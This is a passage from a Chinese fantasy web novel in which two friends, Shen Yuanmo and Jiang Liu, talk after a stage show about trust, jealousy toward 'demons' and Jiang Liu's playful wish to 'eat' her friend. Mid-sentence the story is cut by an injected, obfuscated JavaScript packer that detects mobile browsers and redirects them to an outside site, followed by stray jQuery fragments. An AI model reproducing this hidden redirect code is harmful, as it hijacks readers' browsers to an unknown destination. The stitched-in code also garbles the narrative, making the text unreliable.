姜榴突然伸出手抓住沈渊默的手臂。
沈渊默浑身一震，从那种奇异的迷幻感中回过神来，转头看向姜榴疑惑道：“怎么了？”
姜榴放下手，沉默着没有回答，只是以一种与周围热烈的掌声截然相反的冷静态度打量着她。
“嗯？”姜榴的态度让沈渊默有些奇怪起来，“我怎么了吗？零食吃到脸上了？”
“没有，”姜榴突然笑起来，摇摇头看向舞台的方向，轻佻地打趣道，“我还以为你被魅魔的美色迷惑住了。”
沈渊默也随她看去，台上的祝棠早已掀起白纱，露出他那昳丽的脸庞。
他正与其余演员们一同，谦逊地向众人鞠躬致谢。
在看向观众席的中央位置时，他面上的笑意好似格外热情些。
“他今天确实很出彩不是吗？”沈渊默也笑起来，随着周围的人群一起鼓掌。
“是啊，美丽，专一，贤惠，识时务，更重要的是，”姜榴皮笑肉不笑地扯起嘴角，勉勉强强地承认道，“比另一只恶魔要听话得多。”
“至少他到目前为止，没做出过什么伤害你的事情，那些出格的举动也都在我的忍耐范围之内……所以我对他的意见其实没那么大。”
而至于今天对祝棠的那些针对之举，姜榴丝毫没有愧疚地坦然承认道：“我只是在迁怒于他。”
沈渊默停下鼓掌的手，转头看向姜榴，眼中有些担忧之色，“阿榴，你……”
不过还没等她多说些什么，姜榴就突然向她伸出手，用温热的手指包裹住她的耳朵，并且迅速地轻揉一把。
“嗯……”
沈渊默卡壳一瞬，下意识眯着眼缩起脖子，却并没有挥开她的打算，只是抱怨一句，“怎么这么突然？”
“好可爱，”姜榴笑嘻嘻地又揉了一把，才收回手放过她的耳朵，“看来你确实很喜欢他的声音，耳朵都红了哦。”
沈渊默心有余悸地摸摸自己的耳朵，看来姜榴今天的心情确实不太美妙。
她指尖微动，在两人身周设下一个小型的隔音法术。
“你最近怎么了？在生我的气吗？”
姜榴鼓起脸，“说什么呢，我怎么可能生你的气。”
“可我纵容了安吉尔的那些举动，你肯定很不高兴。”沈渊默心虚道，姜榴对她这一举动的不满态度一直都摆得明明白白。
“说得好像我今天才知道你是什么样的人一样，”姜榴无奈地勾起唇角，“我才不会因为这点小事来生你的气。”
她很快又补充一句，“我最多气一下安吉尔。”
姜榴丝毫不掩饰自己的双标，沈渊默能有什么错？完全没有。
“还有……或许还有一点，只是一点点吧，生我自己的气。”姜榴略有些失落地摆弄着自己的手指。
“为什么？”沈渊默惊诧道。
“‘不论你想做什么，我都会保护好你’，我是这么说过的对吧？”她轻抿着唇，侧头看向沈渊默。
沈渊默点点头，唇角上翘，专注地看着她，“你也一直都是这么做的。”
“可我真的有做好吗？”
“当然了！”沈渊默一把抓起姜榴的手，紧紧握在手中，“就是因为有你在，我才能这么肆无忌惮地去信任我身边的每一个人。”
她当然知道不是每个人都是好人的，她的那些付出不可能在所有人身上都得到令人满意的回馈。
如果不幸遇到糟糕的情况，也是真的有可能会因此而遭到损害的。
而至今为止，她从未遇到过那些不幸的情况，或许有部分是因为自己的祥瑞体质，但是更多的，肯定还是因为姜榴。
姜榴一直在对她周围的人做出筛选，那些可能会为她带来伤害的人，在接近她之前就已经被姜榴排除出去了。
“你也知道你这是‘肆无忌惮’啊。”姜榴忍了又忍，还是没忍住吐槽一句。
沈渊默并不觉得不好意思，坦然地以笑脸回应姜榴的评价。
姜榴看着她这副虚心接受但死不悔改的样子，不由得叹出一口气，“但是，对我这么……‘慷慨’，真的好吗？”
“对你慷慨有什么不对的？”沈渊默理所当然道，“我最喜欢阿榴了。”
姜榴闻言深吸一口气，咬着另一只手的指节别过脸去，开口时宛若在埋怨一般，“你真是，又开始了，我可警告你，我会得寸进尺的。”
沈渊默一直都知道这一点，但是对于姜榴，她只会连寸带尺都送给她，所以，“那又怎么样？”
她为什么这么信任着姜榴？
因为姜榴从来就没有辜负过她的信任。
沈渊默扯着姜榴的手靠近她，真情实意道：“我们不是异母异父的亲姐妹吗。”
即使不是同根生，但是在长久的相伴间，姜榴与她的根系早就交错着盘绕在一起，密不可分。
她为什么如此“肆无忌惮”？
不仅仅是因为姜榴对她那些外在的保护，更是因为沈渊默知道，不论她遇到些什么，姜榴都绝对会站在她身边。
甚至，沈渊默也相信，即使哪天自己抛弃道德底线，姜榴也会选择闭上眼，盲目地随她一起堕落下去。
姜榴是沈渊默永远不会失去的一张底牌，是护卫着她的内心，让她敢于往外探索的底气之一。
“好了可以了，我都要不好意思了。”
姜榴突然闭起眼，把凑上来的沈渊默推搡开，“差不多就行了，我知道自己的问题，可以自己调整好的。”
“为什么要自己调整？”沈渊默眼中含笑地看着她，语调柔和道，“我不是就在你身边吗？”
“啊~啊，你的这些甜言蜜语也是。”姜榴像是头疼一般抬手抵着额头。
沈渊默无辜地笑着，并不被姜榴拒绝她的态度影响到。
她的发小姜榴，是一个很敏感的人，特别是在情感这方面，比她要敏感得多。
这一特性让姜榴可以简单地分辨出周围人的心思，可这一点带来的也并不都是好事，她很容易因为敏感的心思而陷入过度的忧虑和内耗中。
虽然沈渊默不太能理解这些事，也无法对她的情绪感同身受，但是，要发觉她的坏心情，对沈渊默来说却很简单。
当姜榴心情糟糕时，很自然地便会向外伸出利爪，且此时的她并不能很好地自控，甚至会对自己保护着的沈渊默出手。
沈渊默真的很少会被姜榴挠到，所以一旦她这么做了，沈渊默就知道大事不好。
此时需要的，便是那些所谓的“甜言蜜语”。
对姜榴的夸赞和肯定，在某种意义上，与对安吉尔的喂食是相同的。
可安吉尔的情绪十分外显，满足与否当即便能判断出来，姜榴却是不同的，沈渊默并不能确
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15769281|169914||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
定，姜榴是否对她的回复感到满意。
所以一般而言，她只有在确保自己给出足够、足够多的回复后才会停止。
反正多了总是比少了要好。
而且，既然姜榴从未义正言辞地拒绝过她的这一“过分”的举动，那沈渊默自认为也没必要对这一策略作出调整。
看着嘴中不停说着拒绝的话，却红着脸唇角上翘的姜榴，沈渊默了然地轻笑一声，低头凑近她耳畔，即兴更改了唱段的前后顺序。
“Mayyoualwaysbesatisfied.”愿你永远，心满意足。
“Fromyoursisterwho’salwaysbyyourside.”作为你的姐妹，我会一直陪伴在你左右。
听沈渊默歌唱绝对是一种享受，那清越的歌声……不，龙吟声中，仿若带着难以言喻的神性，自遥远的云端传达到耳边。
特别当她用着如此温和而专注的眼神，唱着的还是这样的歌曲时，很难有人能说出不满足这种评价。
“就像你不论如何都不会离开我一样，我也绝不会对你这么做，所以……现在能告诉我吗？”
“是什么让你这么不安？”沈渊默轻哄道。
在她包容的目光中，姜榴逐渐不再回避，指间收拢紧扣住她，低声试探道：“……虽然我不是可以吃掉太阳的那类天狗，但是偶尔。”
她抿起唇，再次强调道：“只是偶尔，果然还是会想试试看。”
沈渊默对此心领神会，“只要你开口，我没什么不能为你做的。”
“而且，天狗食日后，不是每次都好好地把太阳吐出来了吗？”她嘴角的笑容明媚而又温暖，“她们一定是很好的朋友。”
太阳愿意给天狗吃，太阳好。
天狗只是尝一口，天狗也好。
“什么歪理。”姜榴一下失笑。
“难道不是吗？”沈渊默歪头反问。
姜榴收敛起笑意，沉默着与她对视片刻，才咧着嘴轻声回应，“……当然是。”
接着，她突然又轻揪一把沈渊默的脸颊。
“不过，我居然和那两只恶魔是一丘之貉，这可真是……”
她压低声线，唇角上翘，略微睁开那双总是在微笑时眯成缝，让人看不分明的眼睛。
“——太棒了。”
沈渊默珍爱地抬手抚上她脸侧，与那双美丽而又摄人的翠绿色竖瞳对视着，“现在就要吃吗？”
“怎么可能？”姜榴瘪着嘴秒速拒绝。
“我就是想想而已，才不舍得弄疼你。”
她收起半神话态下奇诡的双眼，少见地白了她一眼，“再说，我怎么可能真的和那些恶魔们一个德行。”
难得被白一眼的沈渊默眼睫微微下垂，不动声色地轻咬自己舌尖。
“即使是真的，你好歹看看场合啊！”姜榴鼓起脸。
她们还坐在报告厅里呢，虽然周围人都听不见她们的谈话声，但是在这种场合里吃同学也太嚣张了吧！
“那我是不是可以问其他问题了？”
姜榴疑惑道：“什么？你问呗。”
“那个是什么？”沈渊默指指姜榴座椅侧边的礼盒袋。
虽然今天并不是元旦当天，但是在这种微妙的时间节点附近，出现的一切和礼物元素相符的东西都难免让人多想。